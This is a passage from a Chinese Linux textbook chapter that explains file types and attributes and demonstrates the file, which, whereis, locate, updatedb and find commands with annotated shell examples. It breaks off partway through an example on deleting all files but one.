第8章 Linux文件类型及查找命令实践

第8章 Linux文件类型及查找命令实践

8.1 Linux文件属性概述

在Linux系统中,文件或目录的属性主要包括:索引节点(Inode)、文件类型、权限属性、链接数、所归属的用户和用户组、最近修改时间等内容。

执行ls-lhi命令可以显示/data目录下内容的常见属性信息,示例如下:


[[email protected] ~]# ls -lhi /data
total 12K
139170 -rw-r--r--. 1 root root 22 Mar 11 15:17 oldboy.txt
139167 -rw-r--r--. 1 root root 22 Mar 11 15:16 oldgirl.txt
139171 -rw-r--r--. 1 root root 38 Mar 11 15:37 test.txt

有关文件属性的详细解释如图8-1所示。

图8-1中各列的具体含义说明如下。

第一列:Inode索引节点编号(相当于人的身份证、家庭住址,全国唯一);系统读取文件时首先通过文件名找到Inode号码,然后才能读取到文件内容。

第二列和第三列:文件类型及权限。这一列共包含11个字符,其中第一个字符为文件类型,随后的9个字符为文件的对应权限,最后一个字符点号“.”是与SELinux有关的一个标识。

第四列:硬链接个数(详情请参看ln命令的讲解)。相当于超市的多个入口,可以从不同的文件入口进入文件,还可以互为备份(消防通道)。

图8-1 文件属性每一列的含义

第五列:文件或目录所属的用户(属主)。在Linux系统里,文件和程序的存在必须要有用户和组满足相应的存在需求。

第六列:文件或目录所属的组(属组)(家庭)。

第七列:文件或目录的大小。

第八列:文件或目录的修改时间,默认为月、日、时、分。

第九列:实际的文件名或目录名。需要注意的是,文件名不算文件的属性。

接下来的几章,将为大家重点讲解这些文件属性的含义,以及与之相关的重要的Linux基础知识,本章先介绍Linux文件类型。

8.2 Linux文件类型及文件扩展名

8.2.1 文件类型与扩展名介绍

我们都知道,Windows系统是通过扩展名来区分不同文件类型的,如果扩展名错误,或者没有扩展名,则会导致文件无法直接打开(如图8-2所示)。

图8-2 Windows下面修改扩展名后系统的提示

表8-1为Windows系统下常见文件的扩展名及代表的意义。

表8-1 Windows下常见文件的扩展名及意义

Linux系统不同于Windows系统,Linux系统不会根据扩展名来区分文件类型,而是通过为文件设定属性的特殊方式来区分文件类型的。但是Linux系统中也会包含各种带有扩展名的文件,这些文件可能来自于Windows及其他系统,也有部分来自Linux系统本身,但这些文件的扩展名,并不代表文件的类型,这些扩展名只是为了让用户更容易区分文件类型,更易读而已,并且即使出现扩展名错误,文件也是可以正常使用的。

表8-2给出了Linux系统下常见文件的扩展名及其代表的意义。

表8-2 Linux下常见文件的扩展名及意义

在Linux系统中,对于通过应用程序或命令创建的文件,如file.txt、file.tar.gz等,虽然这些文件的扩展名不同,而且要使用不同的程序或命令来打开,但它们都是常规文件(也称为普通文件)。

Linux中文件结尾附带的后缀文件扩展名(如.txt、.tar、.gz),除了让曾经习惯Windows的用户感觉更易读之外,对于Linux系统来说,大多数没有特别实际的意义,通常也只是为了易读而已,但在Windows系统中,扩展名就是用来实实在在地表示文件类型格式的。

8.2.2 Linux中的文件类型

在Linux系统中,可以说一切(包括目录、普通文件、设备文件等)皆为文件。文件类型包含了普通文件、目录、字符设备文件、块设备文件、符号/软链接文件、管道文件等,表8-3列出了Linux下常见的文件类型及说明。

表8-3 Linux下常见的文件类型及说明

要想查看文件类型,可执行ls-l或ls-al命令来实现,执行后的输出信息如下:


[[email protected] ~]# ls -l
total 52
-rw-------. 1 root root  1074 Mar  8 09:57 anaconda-ks.cfg
drwxr-xr-x. 2 root root  4096 Mar 10 18:01 data1
-rw-r--r--. 1 root root 21736 Mar  8 09:57 install.log
-rw-r--r--. 1 root root  5890 Mar  8 09:55 install.log.syslog
-rw-r--r--. 1 root root    18 Mar 12 04:00 oldboy.txt
-rw-r--r--. 1 root root    20 Mar 11 15:28 oldgirl.txt

上述结果中的第一列(比如-rw-r--r--)对应的第一个字符就是描述文件类型的,比如上面结果中就有“-”、d等类型的文件。第2~10个字符(比如rw-r--r--)是用来描述文件权限的(有关权限问题后文会有详细介绍)。

提示:Linux初学者在学习时需要抓住重点,建议大家先掌握d、“-”、l这三种类型。

以下是find命令中与-type参数对应的可选文件类型信息。


b      block (buffered) special
c      character (unbuffered) special
d      directory
p      named pipe (FIFO)
f      regular file
l      symbolic link; 
s      socket
D      door (Solaris)

8.2.3 Linux文件类型详细介绍

1.普通文件(regular file)

执行echo命令生成一个普通文件oldboy.txt,然后执行ls-l oldboy.txt查看其属性:


[[email protected] ~]# echo "I am oldboy" >oldboy.txt
[[email protected] ~]# ls -l oldboy.txt 
-rw-r--r--. 1 root root 12 Mar 13 02:46 oldboy.txt

通过ls-l命令来查看oldboy.txt文件的属性时,可以看到第一列的内容为-rw-r--r--,这里的第一个符号是“-”(英文字符减号),在Linux中,以这样的字符开头的文件就表示普通文件。

这些文件一般是用相关的应用程序或系统命令创建而成的,比如touch、cp、echo、cat、>、>>等工具命令。若是将Windows里各种扩展名的文件拿到Linux系统下查看,你会发现它们的文件类型都是普通文件,示例代码如下:


[[email protected] oldboy]# ls -l oldboy.jpg arp.zip test.doc oldboytrainning.ppt 
-rw-r--r-- 1 root root 145756 Oct 31 11:03 arp.zip
-rw-r--r-- 1 root root  36120 Aug 10 15:56 oldboy.jpg
-rw-r--r-- 1 root root  12800 Oct 31 11:04 oldboytrainning.ppt
-rw-r--r-- 1 root root  10752 Oct 31 11:04 test.doc

从上面的测试可以看出,Windows下doc、ppt、zip、jpg等格式的文档在Linux下都属于普通文件。Linux下各种服务的配置文件(如/etc/services、/etc/hosts等)也都是纯文本文件。

普通文件(regular file)的第一个特征就是其属性开头为“-”,按照文件内容,又大略可以分为如下三种。

1)(纯)文本文件(ASCII):此类文件的文件内容可以直接读取到数据,例如,字母、数字、特殊符号等。可以用cat命令读文件,比如Linux系统里的配置文件几乎都是这种类型。

2)二进制文件(binary):Linux中的常见命令就属于这种格式。例如,cat命令就是一个二进制文件。

3)数据格式文件(data):有些程序在运行的过程中会读取某些特定格式的文件,那些特定格式的文件即称为数据文件。例如,Linux在用户登录时都会将登录的数据记录在/var/log/wtmp(last命令的数据库文件)文件内,该文件是一个数据文件,可通过last命令读取出来。但如果使用cat命令读取则会读出乱码。因为它属于一种特殊格式的文件。

若要删除普通文件,则可以使用rm命令来实现。

2.目录文件(directory)

可执行make命令生成/data目录,然后执行ls-ld命令查看目录的属性,示例代码如下:


[[email protected] ~]# mkdir /data -p
[[email protected] ~]# ls -ld /data /etc
drwxr-xr-x.  2 root root 4096 Mar 11 15:37 /data
drwxr-xr-x. 78 root root 4096 Mar 11 03:45 /etc

从上面的输出可以看到,第一列的内容为drwxr-xr-x.,这种开头带有d字符的文件就表示目录,可以认为目录在Linux中是一种特殊的文件。

可以通过mkdir命令或cp命令(带-r或-a参数)来创建目录,cp命令可以将一个目录复制为另一个目录。删除目录可使用rm-r或rmdir(删空目录才可以)命令。

下面是ls-F命令的执行结果,它会在不同文件的结尾加上特殊标识,用以区分文件。可以看出,目录的结尾是/,其他文件的结尾,有的也加上了特殊符号。


[[email protected] oldboy]# ls -F
arp.zip  ext/  oldboy.jpg   oldboytrainning.ppt  test.doc  xiaodong/
[email protected]  oldboy*  oldboy_hard_link*  test/  wodi.gz

3.符号链接(symbolic link)文件

符号链接文件也称为软链接文件,它类似于Windows下的快捷方式,它本身并没有内容,而是指向了其他实体文件。示例代码如下:


[[email protected] ~]# cat oldboy.txt 
I am oldboy
[[email protected] ~]# ln -s oldboy.txt oldboy_soft.txt #ln -s  为谁创建软链接(源文件)  软链接名(名字不能事先存在)
[[email protected] ~]# ls -l oldboy*
lrwxrwxrwx. 1 root root 10 Mar 13 03:14 oldboy_soft.txt -> oldboy.txt
-rw-r--r--. 1 root root 12 Mar 13 02:46 oldboy.txt
[[email protected] ~]# cat oldboy_soft.txt 
I am oldboy

从上面的输出可以看到,当我们查看文件的属性时,会看到有类似lrwxrwxrwx的内容,注意第一个字符是l,这类文件类型即表示软链接文件。

软链接文件可以通过ln命令进行创建,具体命令为“ln-s源文件名新文件名”,如果不使用-s参数,则表示创建硬链接文件,硬链接文件不适用于目录。

有关链接文件的知识,后文会进一步详细讲解。

4.字符(character)/块(block)设备文件

若想查看/dev目录下特定文件的属性,则会看到类似如下的内容:


[[email protected] ~]# ls -l /dev/tty /dev/sda1
brw-rw----. 1 root disk 8, 1 Mar 10 12:26 /dev/sda1
crw-rw-rw-. 1 root tty  5, 0 Mar 10 12:26 /dev/tty

其中,/dev/tty文件的第一列属性是crw-rw-rw-,前面的第一个字符是c,其表示字符设备文件。对于字符设备,一般典型的文件就是串行端口的接口设备,如猫等串口设备。

而/dev/sda文件的第一列属性是brw-r-----,前面第一个字符是b,其表示块设备,块设备就是存储数据供系统及程序访问的接口设备,如硬盘、光驱等都均属于块设备。

块设备和字符设备文件都是比较特殊的文件,一般都是实体设备接入到计算机后的设备,但是也可以使用mknod命令来模拟创建,并用rm命令来删除。在实际工作中,创建上述设备文件一般不需要通过命令实现。下面创建特殊文件的知识了解一下即可。

创建一个字符设备(字符设备文件与此相同)的示例代码如下:


[[email protected] ~]# mknod oldboy c 5 1
[[email protected] ~]# ls -l oldboy
crw-r--r--. 1 root root 5, 1 Mar 13 03:26 oldboy

以下是相应的说明。

·oldboy是创建的设备的名字。

·c表示创建的是字符设备,也可以使用b。

·5是该设备在major.h中定义的标记。

·1是第一个子设备。

5.套接口(socket)文件

当启动数据库软件MySQL服务时,会产生一个mysql.sock文件。在这个文件的属性里,第一个字符是s,表示是套接字文件。示例代码如下:


[[email protected] oldboy]# ll /data/3306/mysql.sock 
srwxrwxrwx 1 mysql mysql 0 03-18 09:36 /data/3306/mysql.sock
[[email protected] ~]# ls -l /dev/log
srw-rw-rw- 1 root root 0 Feb 12  2012 /dev/log

.sock文件也是一类特殊的文件,这类文件通常在网络之间进行数据连接,例如,我们可以启动一个程序来监听客户端的请求,客户端可以通过套接字来进行数据通信。示例代码如下:


mysql -uroot -ppass -S /data/3306/mysql.sock

以上便是MySQL数据库客户端程序连接服务器端的命令,并通过套接字文件与数据库服务器进行通信的示例。有关数据库连接的命令,等讲解到数据库时再详细介绍,这里简单了解一下就行了。大家也可以使用man socket命令了解相关信息。

6.管道(pipe)文件

管道文件(FIFO)也是一个特殊的文件类型,主要用于解决多个程序同时访问一个文件所造成的错误,第一个字符为p。FIFO是First-In First-Out的缩写,此文件类型了解即可或者干脆略过,因为运维工作中极少涉及它。示例代码如下:


[[email protected] ~]# ll /var/spool/postfix/public/qmgr
prw--w--w-. 1 postfix postfix 0 Mar 13 03:31 /var/spool/postfix/public/qmgr
提示:可以执行man fifo详细了解。

8.3 文件及目录查找命令

8.3.1 file:显示文件的类型

1.命令详解

【命令星级】  ★★★★☆

【功能说明】

file命令用于显示文件的类型。

【语法格式】


file  [option]  [file]
file  [选项]    [<文件或目录>] 

【选项说明】

表8-4针对file命令的参数选项进行了说明。

表8-4 file命令的参数选项及说明

2.使用范例

范例8-1:通过file命令查看文件类型。


[[email protected] ~]# file oldboy oldboy.txt oldboy_soft.txt 
oldboy:          character special
oldboy.txt:      ASCII text                   #<==oldboy.txt是ASCII文本。
oldboy_soft.txt: symbolic link to `oldboy.txt'#<==oldboy_soft.txt指向oldboy.txt符号链接。
[[email protected] ~]# file /etc
/etc: directory                               #<==etc是个目录。

8.3.2 which:显示命令的全路径

1.命令详解

【命令星级】  ★★★★★

【功能说明】

which命令用于显示命令的全路径,我们常用这个命令查找命令在哪里,which命令查找的范围是PATH环境变量的路径。

【语法格式】


which  [option]  [programname]
which  [选项]     [命令名] 

说明:

which命令用于在PATH环境变量里查找指定的命令。

【选项说明】

表8-5针对which命令的参数选项进行了说明。

表8-5 which命令的参数选项及说明

2.使用范例

范例8-2:通过which命令查找指定命令全路径。


[[email protected] ~]# echo $PATH      #<==先查看环境变量。
/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
[[email protected] ~]# which date      #<==查看date命令的全路径。
/bin/date
[[email protected] ~]# which which       #<==如果指定命令设置了别名,则使用which功能将会显示别名情况。
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
    /usr/bin/which
[[email protected] ~]# which cd          #<== Bash内置命令无法使用which。
/usr/bin/which: no cd in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin)

范例8-3:参数-a的测试。


[[email protected] ~]# which mysql   #<==该实验需要MySQL服务环境。
/usr/local/sbin/mysql 
[[email protected] ~]# echo $PATH
/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
[[email protected] ~]# PATH=$PATH:/application/mysql/bin/ #<==添加路径到环境变量。
[[email protected] ~]# echo $PATH
/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/application/mysql/bin/
[[email protected] ~]# which -a mysql  #<==所有包含mysql命令的路径都显示出来了。
/usr/local/sbin/mysql
/application/mysql/bin/mysql     #<==/application/mysql路径是老男孩编译的mysql路径。

8.3.3 whereis:显示命令及其相关文件全路径

1.命令详解

【命令星级】  ★★★★☆

【功能说明】

whereis命令用于定位指定命令的可执行文件、源码文件及man帮助文件的路径。

【语法格式】


whereis  [option]  [filename]
whereis  [选项]     [文件名] 

说明:

whereis命令用于在PATH环境变量里查找指定的命令。

【选项说明】

表8-6针对whereis命令的参数选项进行了说明。

表8-6 whereis命令的参数选项及说明

2.使用范例

范例8-4:通过whereis命令将相关的文件都查找出来。


[[email protected] ~]# whereis svn
svn: /usr/bin/svn /usr/share/man/man1/svn.1.gz
[[email protected] ~]# whereis -b svn  #<==只查找可执行文件。
svn: /usr/bin/svn
[[email protected] ~]# whereis -m svn  #<==只查找man帮助文件。
svn: /usr/share/man/man1/svn.1.gz
[[email protected] ~]# whereis -s svn  #<==只查找源代码文件。
svn:                             #<==没有找到相应的文件。

提示:Linux工程师在工作中用得最多的还是查找命令所在的路径,因此which更常用。

8.3.4 locate:快速定位文件路径

1.命令详解

【命令星级】  ★★★★☆

【功能说明】

在Linux系统里有一个名为mlocate.db的数据库文件,这个文件包含系统文件的文件名及对应的路径信息。故而,locate命令查找文件时不用遍历磁盘,而是直接查找mlocate.db文件,这样可以快速给出结果。但这也会存在一个问题,如果是新添加的文件,那么mlocate.db文件就会没有记录,对此,在使用locate命令时可以先用updatedb命令更新一下mlocate.db数据库文件。当然,mlocate.db还会由系统自带的定时任务执行updatedb命令定期更新。

特别提示:该命令软件包在CentOS7中默认未安装,如果需要使用此命令,则要提前安装和配置,具体命令如下:


[[email protected] ~]# yum install mlocate -y   #<==安装命令对应的软件包。
[[email protected] ~]# updatedb                 #<==初始化命令查找的数据库。

【语法格式】


locate  [option]  [pattern]
locate  [选项]     [文件名] 

说明:

locate命令用于从数据库查找指定的命令。

【选项说明】

表8-7针对locate命令的参数选项进行了说明。

表8-7 locate命令的参数选项及说明

2.使用范例

范例8-5:通过locate命令查看数据库。


[[email protected] ~]# ll -h /var/lib/mlocate/mlocate.db     #<==locate查找的数据库文件。
-rw-r----- 1 root slocate 1.4M Nov 16 18:32 /var/lib/mlocate/mlocate.db
[[email protected] ~]# cat /etc/cron.daily/mlocate.cron     #<==系统自带的定时任务脚本。
[email protected] ~]# cat /etc/cron.daily/mlocate          #<==系统自带的定时任务脚本,C6的名称为mlocate.cron。
#!/bin/sh
nodevs=$(awk '$1 == "nodev" && $2 != "rootfs" && $2 != "zfs" { print $2 }' < /proc/filesystems)
renice +19 -p $$ >/dev/null 2>&1
ionice -c2 -n7 -p $$ >/dev/null 2>&1
/usr/bin/updatedb -f "$nodevs"

范例8-6:查找文件路径。


[[email protected] ~]# locate pwd         #<==直接跟想要查找的文件名,只要是包含pwd字符串的都能找出来。
/bin/pwd
/etc/.pwd.lock
/etc/latrace.d/pwd.conf
/lib/modules/2.6.32-573.el6.x86_64/kernel/drivers/watchdog/hpwdt.ko
/sbin/unix_chkpwd
/usr/bin/pwdx
/usr/include/pwd.h
/usr/lib/x86_64-redhat-linux5E/include/pwd.h
/usr/lib64/cracklib_dict.pwd
/usr/lib64/python2.6/lib-dynload/spwdmodule.so
……
[[email protected] ~]# locate -c pwd       #<==只显示匹配的行数。
28

范例8-7:使用通配符查找文件路径。


[[email protected] ~]# locate /etc/sh    #<==只要部分符合就输出。
/etc/shadow
/etc/shadow-
/etc/shells
[[email protected] ~]# locate /etc/sh*   #<==还可以使用通配符。
/etc/shadow
/etc/shadow-
/etc/shells
[[email protected] ~]# locate -c /etc/*sh*
25

8.3.5 updatedb:更新mlocate数据库

1.命令详解

【命令星级】  ★★★☆☆

【功能说明】

updatedb命令可以创建或更新locate命令使用的数据库。updatedb命令会被定时任务定期(每天)执行,此命令与locate在一个软件包里,在CentOS7下需要单独安装,见locate命令的安装方法。

【语法格式】


updatedb  [option]  
updatedb  [选项]

【选项说明】

表8-8针对updatedb命令的参数选项进行了说明。

表8-8 updatedb命令的参数选项及说明

2.使用范例

范例8-8:查看数据库。


[[email protected] ~]# ll -h /var/lib/mlocate/mlocate.db  #<==这就是要被更改的数据库文件。
-rw-r----- 1 root slocate 1.4M Nov 16 18:32 /var/lib/mlocate/mlocate.db

范例8-9:更新数据库。


[[email protected] ~]# locate oldboy          #<==查看包含oldboy的文件。
/root/oldboy.log
[[email protected] ~]# touch oldboy20191116 
[[email protected] ~]# locate oldboy          #<==再次查看,发现新建的oldboy20191116文件没有显示。
/root/oldboy.log
[[email protected] ~]# updatedb -vU /root/     #<==-v显示更新过程,-U指定更新路径。
/root/.viminfo
/root/oldboy20191116
/root/anaconda-ks.cfg
/root/install.log
……
[[email protected] ~]# locate oldboy          #<==再次查看,发现oldboy20191116文件出现了。
/root/oldboy.log
/root/oldboy20191116
[[email protected] ~]# ll -h /var/lib/mlocate/mlocate.db
-rw-r----- 1 root slocate 707 Nov 16 20:41 /var/lib/mlocate/mlocate.db #<==时间变了。

8.3.6 find:查找目录下的文件

1.命令详解

【命令星级】  ★★★★★

【功能说明】

find命令用于查找目录下的文件,同时还可以调用其他命令执行相应的操作。

【语法格式】


find  [-H] [-L] [-P] [-D debugopts] [-Olevel]   [pathname]   [expression] 
find  [选项]                                    [路径]       [操作语句]

说明:

注意子模块的先后顺序。

图8-3为find命令语法的使用说明。

图8-3 find命令语法的使用说明

【选项说明】

表8-9针对find命令的参数选项进行了说明。

表8-9 find命令的参数选项及说明

2.使用范例

(1)基础范例

范例8-10:查找指定时间内修改过的文件。


[[email protected] data]# find . -atime -2     #<==“.”代表当前目录,查找两天内被访问的文件使用选项atime,-2代表两天内。

./file1.txt
./file2.txt
./dir2
./dir3
[[email protected] data]# find /data/ -mtime -5 #<==使用绝对路径/data/,查找修改时间在5天以内的文件使用选项mtime。
/data/
/data/file1.txt
/data/file2.txt
/data/dir2
/data/dir3


find查找时间的说明图如图8-4所示。

图8-4 find查找时间的说明示意图

具体说明如下。

·-4:表示文件更改时间距现在4天以内。

·+4:表示文件更改时间距现在4天以前。

·4:表示距现在第4天。

范例8-11:用-name指定关键字查找。


[[email protected] data]# find /var/log/ -mtime +5 -name '*.log' #<==在/var/log/目录下
                                              查找5天前以“.log”
                                                结尾的文件。
/var/log/openv*n.log 

范例8-12:利用“!”反向查找。


[[email protected] data]# find .  -type d #<==-type表示按类型查找,d代表目录,查找当前目录下的所有目录。
.
./dir2
./dir3 
[[email protected] data]# find . ! -type d #<==!表示取反,查找不是目录的文件,注意感叹号的位置。
./file1.txt
./file2.txt 

范例8-13:按照目录或文件的权限来查找文件。


[[email protected] data]# find /data/ -perm 755 #<==按照文件权限来查找文件,755是权限的数字表示方式。
/data/
/data/dir2
/data/dir3 

范例8-14:按大小查找文件。


[[email protected] data]# find . -size +1000c  #<==查找当前目录下文件大小大于1000字节的文件。
.
./dir2
./dir3

范例8-15:查找文件时希望忽略某个目录。


[[email protected] data]# find /data -path "/data/dir3" -prune -o -print
     #<==参数-path用于指定路径样式,配合-prune参数用于排除指定目录。
/data
/data/file1.txt
/data/file2.txt
/data/dir2

代码中的-path“/data/dir3”-prune-o-print是-path“/data/dir3”-a-prune-o-print的简写。其中,-a和-o类似于Shell中的“&&”和“||”,当-path“/data/dir3”为真时,执行-prune;为假时,执行-print。

范例8-16:忽略多个目录。


[[email protected] data]# find /data \(-path /data/dir2 -o -path /data/dir3 \) -prune -o -print 
/data
/data/file1.txt
/data/file2.txt

使用圆括号可以将多个表达式结合在一起,但是圆括号在命令行中另有特殊含义,所以此处使用“\”进行转义,即告诉bash不对后面的字符“()”作解析,而是留给find命令处理。而且在“\(-path”中左括号和path之间有空格,“dir3\)”中dir3和右括号之间有空格,这是语法要求。

范例8-17:使用user和nouser选项。


[[email protected] data]# chown nobody:nobody file2.txt     #<==chown命令用于改变文件的用户和用户组,具体用法见chown命令的讲解。
[[email protected] data]# ll -h file2.txt 
-rw-r--r-- 1 nobody nobody 0 Nov  4 14:28 file2.txt
[[email protected] data]# find . -user nobody           #<==查找用户为nobody的文件。
./file2.txt
[[email protected] data]# chown 555 file2.txt                 
[[email protected] data]# ll -h file2.txt
-rw-r--r-- 1 555 nobody 0 Nov  4 14:28 file2.txt  #<==如果是这种数字的属主就需要使用-nouser参数了。
[[email protected] data]# find . -nouser                #<==查找没有对应任何用户的文件。   
./file2.txt 

这个例子是为了查找那些属主账户已经被删除的文件,使用-nouser选项时,不必给出用户名。

范例8-18:使用group和nogroup选项。


[[email protected] data]# find . -group nobody   #<==这个功能与上一个例子类似,此处是查找用户组为nobody的文件。
./file2.txt 
[[email protected] data]# chown .555 file2.txt     
[[email protected] data]# ll -h file2.txt          
-rw-r--r-- 1 555 555 0 Nov  4 14:28 file2.txt
[[email protected] data]# find . -nogroup          #<==查找没有对应任何用户组的文件。
./file2.txt

范例8-19:查找比某个文件新或旧的文件。

如果希望查找更改时间比某个文件(file1)新,但比另一个文件(file2)旧的所有文件,可以使用-newer选项。它的一般形式为:-newer file1!-newer file2。其中,“!”是逻辑非符号,即取反的意思。


[[email protected] data]# ll -h          
total 8.0K
drwxr-xr-x 2 root root 4.0K Nov  4 14:26 dir2
drwxr-xr-x 2 root root 4.0K Nov  4 14:26 dir3
-rw-r--r-- 1 root root    0 Nov  4 14:28 file1.txt
-rw-r--r-- 1  555  555    0 Nov  4 16:27 file2.txt
-rw-r--r-- 1 root root    0 Nov  4 16:26 file3.txt
[[email protected] data]# find . -newer file1.txt #<==在当前目录查找更改时间比文件file1.txt新的文件。
.
./file3.txt
./file2.txt
[[email protected] data]# find . -newer file1.txt ! -newer file2.txt 
#<==查找更改时间比文件file1.txt新但比file2.txt旧的文件。
.
./file3.txt
./file2.txt #<==包含file2.txt。

范例8-20:逻辑操作符的使用。


[[email protected] oldboy]# find . -maxdepth 1 -type d #<==-maxdepth 1查找一级目录,类似于tree -L 1。
.
./test
./xingfujie
./a
./ext
./xiaodong
./xiaofan
[[email protected] oldboy]# find . -maxdepth 1 -type d ! -name "."  #<==使用感叹号“!”取反,不输出名字为点的行。
./test
./xingfujie
./a
./ext
./xiaodong
./xiaofan
[[email protected] oldboy]# find . -maxdepth 1 -type d ! -name "." -o -name "oldboy"  
#<==-o表示或的意思,显示除“.”以外的所有目录或文件名为oldboy的文件。
./test
./oldboy
./xingfujie
./a
./ext
./xiaodong
./xiaofan
[[email protected] oldboy]# find . -maxdepth 1 -type d ! -name "." -a -name "ext" 
#<==-a在这里是并且的意思,查找不为点号并且名字为ext的目录,最后结果只显示名为ext的目录。       
./ext

范例8-21:find正则表达式的用法。

由于-name参数只支持“*”、“?”、“[]”这三个通配符,因此在碰到复杂的匹配需求时,就会用到正则表达式。

find正则表达式的语法如下:


find pathname -regextype "type" -regex "pattern"

示例代码如下:


[[email protected] ~]# find / -regex "find"  #<==给出的正则表达式必须要匹配完整的文件路径。
[[email protected] ~]# find / -regex ".*find"
/bin/find
/usr/bin/oldfind
/usr/bin/find
/usr/share/doc/subversion-1.6.11/tools/client-side/wcfind
/usr/src/kernels/2.6.32-504.el6.x86_64/include/config/generic/find
[[email protected] ~]# find / -regex ".*/find"
/bin/find
/usr/bin/find
/usr/src/kernels/2.6.32-504.el6.x86_64/include/config/generic/find

正则表达式的类型默认为emacs,还有posix-awk、posix-basic、posix-egrep和posix-extended等。下面是posix-extended的示例代码:


[[email protected] data]# find . -regextype "posix-egrep" -name '*[0-9]' 
./dir2
./dir3

需要说明的是,上面正则表达式的使用只是给大家拓展一下知识,在实际工作中用得比较少。

范例8-22:ls-l命令放在find命令的-exec选项中执行。


[[email protected] data]# find . -type f -exec ls -l {} \;
-rw-r--r-- 1 root root 0 Nov  4 16:26 ./file3.txt
-rw-r--r-- 1 root root 0 Nov  4 14:28 ./file1.txt
-rw-r--r-- 1 555 555 0 Nov  4 16:27 ./file2.txt 
#<==find命令匹配到了当前目录下的所有普通文件,并在-exec选项中使用ls -l命令将它们列出。

详细说明如下。

-exec后面跟的是command命令,最后以分号(;)作为结束标志,考虑到各个系统中分号会有不同的意义,所以前面要加反斜杠对分号进行转义。

这里需要注意如下几点。

·{}的作用:指代前面find命令查找到的文件或目录。

·{}前后都要有空格。

·command可以是其他任何命令,例如,示例代码中的ls、rm等命令。

范例8-23:在目录中查找更改时间在n天以前的文件,并删除它们。


[[email protected] data]# find . -type f -mtime +14 -exec rm {} \;
    #<==find命令在目录中查找更改时间在14天以前的文件,并在-exec选项中使用rm命令将它们删除。

范例8-24:使用-exec选项的安全模式-ok。


[[email protected] data]# find /var/log/ -name "*.log" -mtime +5 -ok rm {} \;
< rm ... /var/log/anaconda.ifcfg.log > ? n
< rm ... /var/log/anaconda.log > ? n
< rm ... /var/log/anaconda.yum.log > ? ^C
#<==find命令在/var/log/目录中查找所有文件名以.log结尾、更改时间在5天以前的文件,并删除它们,到此为止,-ok的功能与-exec一样,但是-ok还有一个功能,即在删除之前先给出提示,指出按y键表示删除文件,按n键表示不删除文件,这样操作会比较安全。

范例8-25:对查找到的文件内容显示属性信息。


[[email protected] data]# find . -type f|xargs ls -l  #<==将find命令查找到的普通文件通过管道符号和xargs命令传给ls命令执行。注意命令格式,这里使用了管道符号“|”,xargs是一个命令,是向其他命令传递参数的一个过滤器,大家可以先去阅读xargs命令的相关章节之后再来阅读此部分内容。
-rw-r--r-- 1 root root 0 Nov  4 14:28 ./file1.txt
-rw-r--r-- 1  555  555 0 Nov  4 16:27 ./file2.txt
-rw-r--r-- 1 root root 0 Nov  4 16:26 ./file3.txt

范例8-26:使用xargs执行mv命令的示例。


[[email protected] data]# ls
dir2  dir3  file1.txt  file2.txt  file3.txt
[[email protected] data]# find . -name "*.txt"|xargs -i mv {} dir2/
     #<==使用xargs的-i参数,使得{}代表find查找到的文件,将这些文件以参数的形式放在mv命令后面,作为要移动的源文件,移动到dir2目录下。
[[email protected] data]# ls
dir2  dir3
[[email protected] data]# ls dir2/
file1.txt  file2.txt  file3.txt

范例8-27:find结合xargs的-p选项使用的示例。


[[email protected] data]# find dir2 -name "file*"|xargs -p rm -f
rm -f dir2/file3.txt dir2/file1.txt dir2/file2.txt ?...y
[[email protected] data]# ls dir2/
[[email protected] data]#
#<==说明:使用xargs命令的-p选项会提示让你确认是否执行后面的命令,y表示执行,n表示不执行。

(2)技巧性范例

范例8-28:进入/root目录下的data目录,删除oldboy.txt文件。

这里提供了多种删除方法。


①cd /root/data  #<==进入目录再删,不使用全路径,这样会更安全。
  rm oldboy.txt
②find /root/data -type f -name "*oldboy.txt" |xargs rm –f
③find /root/data -type f -name "*oldboy.txt" -exec rm {} \;

提示:在生产环境中删除文件推荐使用第②种方法,该方法能够尽可能地防止误删文件。

范例8-29:在/oldboy目录及其子目录下的所有以扩展名“.sh”结尾的文件中,将包含“./hostlists.txt”的字符串全部替换为“../idctest_iplist”。

说明:

此题用到了sed命令的替换功能,读者如果不是很懂,那么可以先看下sed命令之后再做这道题。


sed -i 's#./hostlists.txt#../idctest_iplist#g' 文件名  #<==使用sed替换文件内容,然后结合find命令找到需要替换的文件。

方法一:find+exec方法。


find /oldboy -name "*.sh" -exec sed -i 's#./hostlists.txt#../idctest_iplist#g' {} \;

方法二:find+xargs方法。


find /oldboy -name "*.sh"|xargs sed -i 's#./hostlists.txt#../idctest_iplist#g' 

方法三:高效处理方法,find语句两端是反引号。


sed -i 's#./hostlists.txt#../idctest_iplist#g' `find /oldboy -name "*.sh"`  #<==前面说过,如果一个命令语句中还有反引号,优先执行反引号中的命令。

范例8-30:将/etc下所有的普通文件打包成压缩文件。

此题涉及了tar命令的用法,读者可以先学会tar命令再来查看这道题。

方法一:使用反引号的方法。


[[email protected] /]# tar zcvf oldboy.tar.gz `find /oldboy -type f -name "test.txt"`  #<==使用反引号的方法最简单,也最容易理解。
tar: Removing leading `/' from member names
/oldboy/xiaofan/test.txt
/oldboy/ext/test.txt
/oldboy/test/test.txt

方法二:使用xargs的方法。


[[email protected] /]# find /oldboy -type f -name "test.txt"|xargs tar zcvf oldboy01.tar.gz
tar: Removing leading `/' from member names
/oldboy/xiaofan/test.txt
/oldboy/ext/test.txt
/oldboy/test/test.txt

范例8-31:删除一个目录下的所有文件,但保留一个指定文件。

假设这个目录是/xx/,里面有file1、file2…file10等10个文件,保留一个指定的文件file10,其余的删除,示例代码如下:


[[email protected]  ~]# cd /xx
[[email protected] xx]# touch file{1..10}
[[email protected] xx]# ls
file1  file10  file2  file3  file4  file5  file6  file7  file8  file9

方法一:使用find+xargs命令处理(推荐方法)。


[[email protected] xx]# ls
file1  file10  file2  file3  file4  file5  file6  file7  file8  file9
[[email protected] xx]# find /xx -type f ! -name "file10"|xargs rm -f  #<==核心是使用感叹号排除file10文件。
[[email protected] xx]# ls
file10

方法二:使用find+exec命令处理(文件多时效率低)。


[[email protected] xx]# find /xx -type f ! -name "file10" -exec rm -f {} \;     
[[email protected] xx]# ls
file10

方法三:使用rsync命令处理(rsync命令后面会讲解)。


[[email protected] xx]# ls
